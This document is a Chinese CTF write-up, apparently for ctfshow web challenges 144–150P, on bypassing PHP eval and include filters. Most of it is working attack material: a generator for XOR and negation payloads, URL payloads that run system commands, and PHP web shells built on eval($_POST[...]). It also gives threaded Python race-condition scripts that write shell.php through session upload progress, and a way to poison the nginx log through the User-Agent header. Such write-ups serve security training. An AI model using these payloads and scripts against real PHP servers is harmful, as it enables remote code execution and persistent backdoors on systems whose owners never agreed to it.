if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
} 
<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; //根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)^urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+action(';')
   print(param)

144

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
        if(preg_match('/^\W+$/', $v2)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

function check($str){
    return strlen($str)===1?true:false;
} 
较上面两题轻微变动

145

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
} 
"被过滤,可以使用'
用 或/取反 的方法构造shell

+-*/%这几个数学运算符号 和 .连接符均被过滤,可以使用位运算符(~ ^ | & >> <<),~|还可用,还有==

/?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%93%8C)|

?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D5)|
还可以利用三目运算符实现 eval("return 1?phpinfo():1;");
v1=1&v3=?(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5):&v2=1

146

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}
比上一题多过滤 : _ 而已

148

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
} 
异或
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%0c%08"^"%60%7b");
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%02"^"%7d%60%60%21%28"); 

预期解是利用中文变量,PHP支持中文变量

code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*

其实也是利用异或构造

"`{{{"^"?<>/"; 异或出来的结果是 _GET

147

<?php
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }
} 
/D 如果使用$限制结尾字符,则不允许结尾有换行; 
/s 特殊字符圆点 . 中包含换行符
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
或者通过fuzz的方法,找到一个符号使得函数正常执行且能使其绕过正则

紧接着就到了如何只控制第二个参数来执行命令的问题了,后来找到可以用create_function来完成,create_function的第一个参数是要创建的函数的参数,第二个参数是内容。

create_function('$a,$b','return 111')

<==>

function a($a, $b){
    return 111;
}

然后执行,如果我们想要执行任意代码,就首先需要跳出这个函数定义。

create_function('$a,$b','return 111;}phpinfo();//')

<==>

function a($a, $b){
    return 111;}phpinfo();//
}
payload:
GET ?show=;};system('tac *');/* 或//或{
POST ctf=\create_function

149

<?php
error_reporting(0);
highlight_file(__FILE__);
$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}
ctf=index.php
show=<?php eval($_POST[1]);?>
或者条件竞争
ctf=1.php
show=<?=fputs(fopen('shell.php','w'),'<?=eval($_POST[cmd])?>')?>
import requests
import threading

url = "http://9ad3a761-9673-46ba-b21e-b45fe55c89e3.challenge.ctf.show:8080/"

def write():
    post_payload = {
        "show": '<?=fputs(fopen('shell.php','w'),'<?=eval($_POST[cmd])?>')?>'
    }
    while event.isSet():
        res = requests.post(url = url + "?ctf=1.php" , data=post_payload)

def read():
    res = requests.get(url = url + "1.php")
    while event.isSet():
        if res.status_code == 200:
            print(res.text)

if __name__ == "__main__":
    event = threading.Event()
    event.set()
    for i in range(100):
        threading.Thread(target=write).start()
    for i in range(100):
        threading.Thread(target=read).start()

150

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;
    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }
    function __destruct(){
        echo $this->secret;
    }
    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }
    function __autoload($class){
        if(isset($class)){
            $class();
    }
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){
    include($ctf);
}
注意这题大括号缩进有问题,容易造成误读,建议做题前先格式化代码
日志包含
UA:<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>')?>

?isVIP=true
ctf=/var/log/nginx/access.log

这题也可以使用文件上传竞争:

文件上传竞争参考链接:【文件包含&条件竞争】详解如何利用session.upload_progress文件包含进行RCE - Lxxx

import requests
import io
import threading

url = "http://283b6dfb-9c88-4462-8d23-3878f9c11086.challenge.ctf.show:8080/"
sessid = "Lxxx"

def write(session):
    filebytes = io.BytesIO(b'a' * 1024 * 50)
    while True:
        res = session.post(url,
            data={
                'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
                },
            cookies={
                'PHPSESSID': sessid
                },
            files={
                'file': ('Lxxx.jpg', filebytes)
                }
            )

def read(session):
    while True:
        res = session.post(url+"?isVIP=1",
                           data={
                               "ctf":"/tmp/sess_"+sessid,
                               "1":"file_put_contents('/var/www/html/1.php' , '<?php eval($_POST[2]);?>');",

                           },
                           cookies={
                               "PHPSESSID":sessid
                           }
                           )
        res2 = session.get("http://283b6dfb-9c88-4462-8d23-3878f9c11086.challenge.ctf.show:8080/1.php")
        if res2.status_code == 200:
            print("成功写入一句话!")
        else:
            print("Retry")

if __name__ == "__main__":
    evnet = threading.Event()
    with requests.session() as session:
        for i in range(5):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(5):
            threading.Thread(target=read, args=(session,)).start()
    evnet.set()

当成功写入一句话后,访问1.php即可,密码为2

150P

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;
    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }
    function __destruct(){
        echo $this->secret;
    }
    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }
    function __autoload($class){
        if(isset($class)){
            $class();
    }
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
    include($ctf);
}
150题中的文件上传&包含竞争
注意这题大括号缩进有问题,容易造成误读,建议做题前先格式化代码
这个题一点点小坑:__autoload()函数不是类里面的
__autoload — 尝试加载未定义的类
最后构造?..CTFSHOW..=phpinfo就可以看到phpinfo信息啦
原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
__autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo,然后能找到flag
接下来就去getshell啦(没懂这句

exp

上一篇:serialVersionUID的作用


下一篇:助力全站WebP ,阿里云云上FPGA 团队发布 WebP图片解决方案